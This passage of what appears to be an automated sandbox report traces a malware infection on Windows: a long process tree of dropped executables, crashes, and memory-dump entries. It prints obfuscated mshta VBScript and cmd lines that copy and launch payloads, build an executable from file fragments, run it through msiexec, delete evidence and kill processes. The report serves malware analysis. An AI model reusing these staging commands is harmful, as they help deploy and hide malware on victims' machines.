                                                                                                  PID:3276
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe" -u
                                                                                                    7⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:5228
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c Tue01bf08f313b912.exe
                                                                                                5⤵
                                                                                                  PID:820
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01bf08f313b912.exe
                                                                                                    Tue01bf08f313b912.exe
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4588
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1388
                                                                                                      7⤵
                                                                                                      • Program crash
                                                                                                      • Checks processor information in registry
                                                                                                      • Enumerates system info in registry
                                                                                                      PID:2556
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c Tue01de2411919659f09.exe
                                                                                                  5⤵
                                                                                                    PID:3784
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe
                                                                                                      Tue01de2411919659f09.exe
                                                                                                      6⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      PID:4528
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe
                                                                                                        7⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:5188
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 164
                                                                                                          8⤵
                                                                                                          • Program crash
                                                                                                          • Checks processor information in registry
                                                                                                          • Enumerates system info in registry
                                                                                                          PID:5548
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c Tue0105f10596.exe
                                                                                                    5⤵
                                                                                                      PID:3284
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0105f10596.exe
                                                                                                        Tue0105f10596.exe
                                                                                                        6⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:3864
                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\HDEEbhe9r_UfhcufDq88Hyi8.exe
                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\HDEEbhe9r_UfhcufDq88Hyi8.exe"
                                                                                                          7⤵
                                                                                                            PID:4980
                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\7juc60EM6TSuPAeFW4N3RhHg.exe
                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\7juc60EM6TSuPAeFW4N3RhHg.exe"
                                                                                                            7⤵
                                                                                                              PID:1624
                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\sdK4dl2qXFtc8RgDzRuRQ6fX.exe
                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\sdK4dl2qXFtc8RgDzRuRQ6fX.exe"
                                                                                                              7⤵
                                                                                                                PID:6012
                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\1qgboQzRtCb43OZGZ2wNfcyH.exe
                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\1qgboQzRtCb43OZGZ2wNfcyH.exe"
                                                                                                                7⤵
                                                                                                                  PID:4240
                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\vfQ0XoF0KYzAJOIjGYERObQP.exe
                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\vfQ0XoF0KYzAJOIjGYERObQP.exe"
                                                                                                                  7⤵
                                                                                                                    PID:4796
                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\LMFO6QWFvcJ9vOnHGeA6QLZ1.exe
                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\LMFO6QWFvcJ9vOnHGeA6QLZ1.exe"
                                                                                                                    7⤵
                                                                                                                      PID:4284
                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\kdiWiazc_8jZDwRS192tba3G.exe
                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\kdiWiazc_8jZDwRS192tba3G.exe"
                                                                                                                      7⤵
                                                                                                                        PID:6156
                                                                                                                        • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                          "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                          8⤵
                                                                                                                            PID:6888
                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\idZgPrMxC2jxKkgfX17SY602.exe
                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\idZgPrMxC2jxKkgfX17SY602.exe"
                                                                                                                          7⤵
                                                                                                                            PID:6104
                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\P6VHvUtX5pqmixo220CDs1f7.exe
                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\P6VHvUtX5pqmixo220CDs1f7.exe"
                                                                                                                            7⤵
                                                                                                                              PID:3928
                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\r_wJXHj3CQpsnE6p_uw85C_N.exe
                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\r_wJXHj3CQpsnE6p_uw85C_N.exe"
                                                                                                                              7⤵
                                                                                                                                PID:4536
                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\fCiMtoJwC8HasRcwNJS0bg1p.exe
                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\fCiMtoJwC8HasRcwNJS0bg1p.exe"
                                                                                                                                7⤵
                                                                                                                                  PID:1340
                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\rsOU3HwpqyI26RfC61MCjgI5.exe
                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\rsOU3HwpqyI26RfC61MCjgI5.exe"
                                                                                                                                  7⤵
                                                                                                                                    PID:3740
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                      C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                      8⤵
                                                                                                                                        PID:6512
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                        C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                        8⤵
                                                                                                                                          PID:6540
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                                                            9⤵
                                                                                                                                              PID:6844
                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\sEMgJzM68edVpY6ZvB_itO35.exe
                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\sEMgJzM68edVpY6ZvB_itO35.exe"
                                                                                                                                          7⤵
                                                                                                                                            PID:2852
                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\JRxI61fpo0ZQfLhLi6CUgoq3.exe
                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\JRxI61fpo0ZQfLhLi6CUgoq3.exe"
                                                                                                                                            7⤵
                                                                                                                                              PID:4012
                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\w7yf21UqqNvJPFCCggjGhcyh.exe
                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\w7yf21UqqNvJPFCCggjGhcyh.exe"
                                                                                                                                              7⤵
                                                                                                                                                PID:2196
                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\E3vtKjE2P7mdqJy_5khbeSju.exe
                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\E3vtKjE2P7mdqJy_5khbeSju.exe"
                                                                                                                                                7⤵
                                                                                                                                                  PID:3152
                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\XCC0oNWhnnJnJ5L5wJgJm2Fl.exe
                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\XCC0oNWhnnJnJ5L5wJgJm2Fl.exe"
                                                                                                                                                  7⤵
                                                                                                                                                    PID:3396
                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\5FY7s4pUdLRbZQQSDVKzcfjX.exe
                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\5FY7s4pUdLRbZQQSDVKzcfjX.exe"
                                                                                                                                                    7⤵
                                                                                                                                                      PID:3780
                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\QznaQlGCkgkDvylXYgLQ_tme.exe
                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\QznaQlGCkgkDvylXYgLQ_tme.exe"
                                                                                                                                                      7⤵
                                                                                                                                                        PID:4444
                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\qw3aNicOHEsxJ8W3fETs6D82.exe
                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\qw3aNicOHEsxJ8W3fETs6D82.exe"
                                                                                                                                                        7⤵
                                                                                                                                                          PID:1332
                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\csuphID3J_KRJjeH0Ny0Uig0.exe
                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\csuphID3J_KRJjeH0Ny0Uig0.exe"
                                                                                                                                                          7⤵
                                                                                                                                                            PID:2868
                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\LGGSAleYtUAp6v2mCtDZfJiF.exe
                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\LGGSAleYtUAp6v2mCtDZfJiF.exe"
                                                                                                                                                            7⤵
                                                                                                                                                              PID:6248
                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\Xa7FiKEqOTSKImttuYGjJQkg.exe
                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\Xa7FiKEqOTSKImttuYGjJQkg.exe"
                                                                                                                                                              7⤵
                                                                                                                                                                PID:6312
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:6880
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:7128
                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\QQ_KfPPMR1yLn6WKZWMAg9hk.exe
                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\QQ_KfPPMR1yLn6WKZWMAg9hk.exe"
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:6304
                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\iIFawnudlaKJBRwT_Y1kBHP7.exe
                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\iIFawnudlaKJBRwT_Y1kBHP7.exe"
                                                                                                                                                                      7⤵
                                                                                                                                                                        PID:6240
                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\MsftLnvJ_pdzrH2zqjlWZMe0.exe
                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\MsftLnvJ_pdzrH2zqjlWZMe0.exe"
                                                                                                                                                                        7⤵
                                                                                                                                                                          PID:6172
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6172 -s 336
                                                                                                                                                                            8⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:6580
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Tue0121ab289cd9a.exe
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:4224
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0121ab289cd9a.exe
                                                                                                                                                                          Tue0121ab289cd9a.exe
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:4552
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 652
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Program crash
                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                        PID:4408
                                                                                                                                                                • C:\Windows\SysWOW64\chkdsk.exe
                                                                                                                                                                  "C:\Windows\SysWOW64\chkdsk.exe"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                  PID:1456
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    /c del "C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4948
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1080 -ip 1080
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                  PID:1488
                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                  "C:\Windows\System32\mshta.exe" vbscriPT: cLOsE ( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe"" ..\GhXkKMW.EXe && sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If """" == """" for %K in ( ""C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe"") do taskkill /f /IM ""%~NXK"" " , 0 , tRuE) )
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2136
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe" ..\GhXkKMW.EXe && sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If "" == "" for %K in ( "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe") do taskkill /f /IM "%~NXK"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:5592
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe
                                                                                                                                                                          ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:5912
                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbscriPT: cLOsE ( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"" ..\GhXkKMW.EXe && sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If ""/pzztRb0w26vFPLWe3xRyQv "" == """" for %K in ( ""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"") do taskkill /f /IM ""%~NXK"" " , 0 , tRuE) )
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:3008
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe" ..\GhXkKMW.EXe && sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If "/pzztRb0w26vFPLWe3xRyQv " == "" for %K in ( "C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe") do taskkill /f /IM "%~NXK"
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:4696
                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                "C:\Windows\System32\mshta.exe" VBScrIPT: cLose ( creATeoBjECt ( "WscriPT.shELL" ). ruN ( "cmD.Exe /c eCHo | SeT /p = ""MZ"" > CejRuqC.56S & copY /Y /b CEJRUqC.56S + D5S9N.M + HOdVbD.N + 6Gk1G.c4O + JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP & del /Q * " , 0 , True ) )
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:5196
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c eCHo | SeT /p = "MZ" > CejRuqC.56S & copY /Y /b CEJRUqC.56S + D5S9N.M + HOdVbD.N + 6Gk1G.c4O + JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP & del /Q *
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:5528
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:3252
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>CejRuqC.56S"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:6064
                                                                                                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                            msiexec.exe -y ..\32AZBxCS.EP
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                            PID:3004
                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                      taskkill /f /IM "Tue01e8898e0d1fce4.exe"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                      PID:6060
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5188 -ip 5188
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                  PID:5436
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4352 -ip 4352
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:3952
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4588 -ip 4588
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                    PID:1920
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5044 -ip 5044
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                    PID:4656
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5128 -ip 5128
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                    PID:5400
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6128 -ip 6128
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                    PID:5856
                                                                                                                                                                                  • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                    C:\Windows\System32\WaaSMedicAgent.exe 79ccf3c8e6599f4eab4ffe7feca2e384 jsiBwPJJWEKOfdQkcoKoKQ.0.1.0.3.0
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                    PID:4548
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1096 -ip 1096
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                    PID:3424
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                    PID:2296
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3952 -ip 3952
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:4784
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5920 -ip 5920
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:5884
                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:2488
                                                                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:5568
                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:452
                                                                                                                                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:5980
                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5984 -ip 5984
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:2744
                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:512
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4828 -ip 4828
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:2944
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1188 -ip 1188
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:4916
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1356 -ip 1356
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:3924
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 6172 -ip 6172
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:6328

                                                                                                                                                                                                          Network

                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                          • memory/1080-173-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            100KB

                                                                                                                                                                                                          • memory/1080-166-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                          • memory/1080-174-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            100KB

                                                                                                                                                                                                          • memory/1080-172-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            100KB

                                                                                                                                                                                                          • memory/1080-163-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            572KB

                                                                                                                                                                                                          • memory/1080-171-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            100KB

                                                                                                                                                                                                          • memory/1080-170-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            152KB

                                                                                                                                                                                                          • memory/1080-167-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                          • memory/1080-169-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                          • memory/1080-165-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            572KB

                                                                                                                                                                                                          • memory/1080-168-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                          • memory/1080-164-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            572KB

                                                                                                                                                                                                          • memory/1096-428-0x0000000000710000-0x000000000075C000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            304KB

                                                                                                                                                                                                          • memory/1188-614-0x0000000002010000-0x0000000002018000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            32KB

                                                                                                                                                                                                          • memory/1188-615-0x0000000002130000-0x0000000002139000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            36KB

                                                                                                                                                                                                          • memory/1232-307-0x0000000005F30000-0x000000000607C000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                          • memory/1456-407-0x0000000000F10000-0x0000000000F39000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            164KB

                                                                                                                                                                                                          • memory/1456-424-0x00000000058B0000-0x0000000005C06000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            3.3MB

                                                                                                                                                                                                          • memory/1456-511-0x0000000005740000-0x00000000057D0000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            576KB

                                                                                                                                                                                                          • memory/1456-390-0x0000000000FD0000-0x0000000000FDA000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            40KB

                                                                                                                                                                                                          • memory/1644-574-0x000001F1768F0000-0x000001F1768F2000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/1644-588-0x000001F1768F6000-0x000001F1768F8000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/1644-575-0x000001F1768F3000-0x000001F1768F5000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/1892-369-0x0000000001440000-0x00000000014FD000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            756KB

                                                                                                                                                                                                          • memory/1892-556-0x0000000001440000-0x00000000014FD000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            756KB

                                                                                                                                                                                                          • memory/1892-554-0x0000000001440000-0x00000000014FD000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            756KB

                                                                                                                                                                                                          • memory/1892-265-0x0000000000990000-0x0000000000991000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2296-284-0x0000000000700000-0x0000000000701000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-210-0x00000000072E0000-0x00000000072E1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-253-0x0000000007950000-0x0000000007951000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-328-0x0000000008AA0000-0x0000000008AA1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-225-0x0000000005230000-0x0000000005231000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

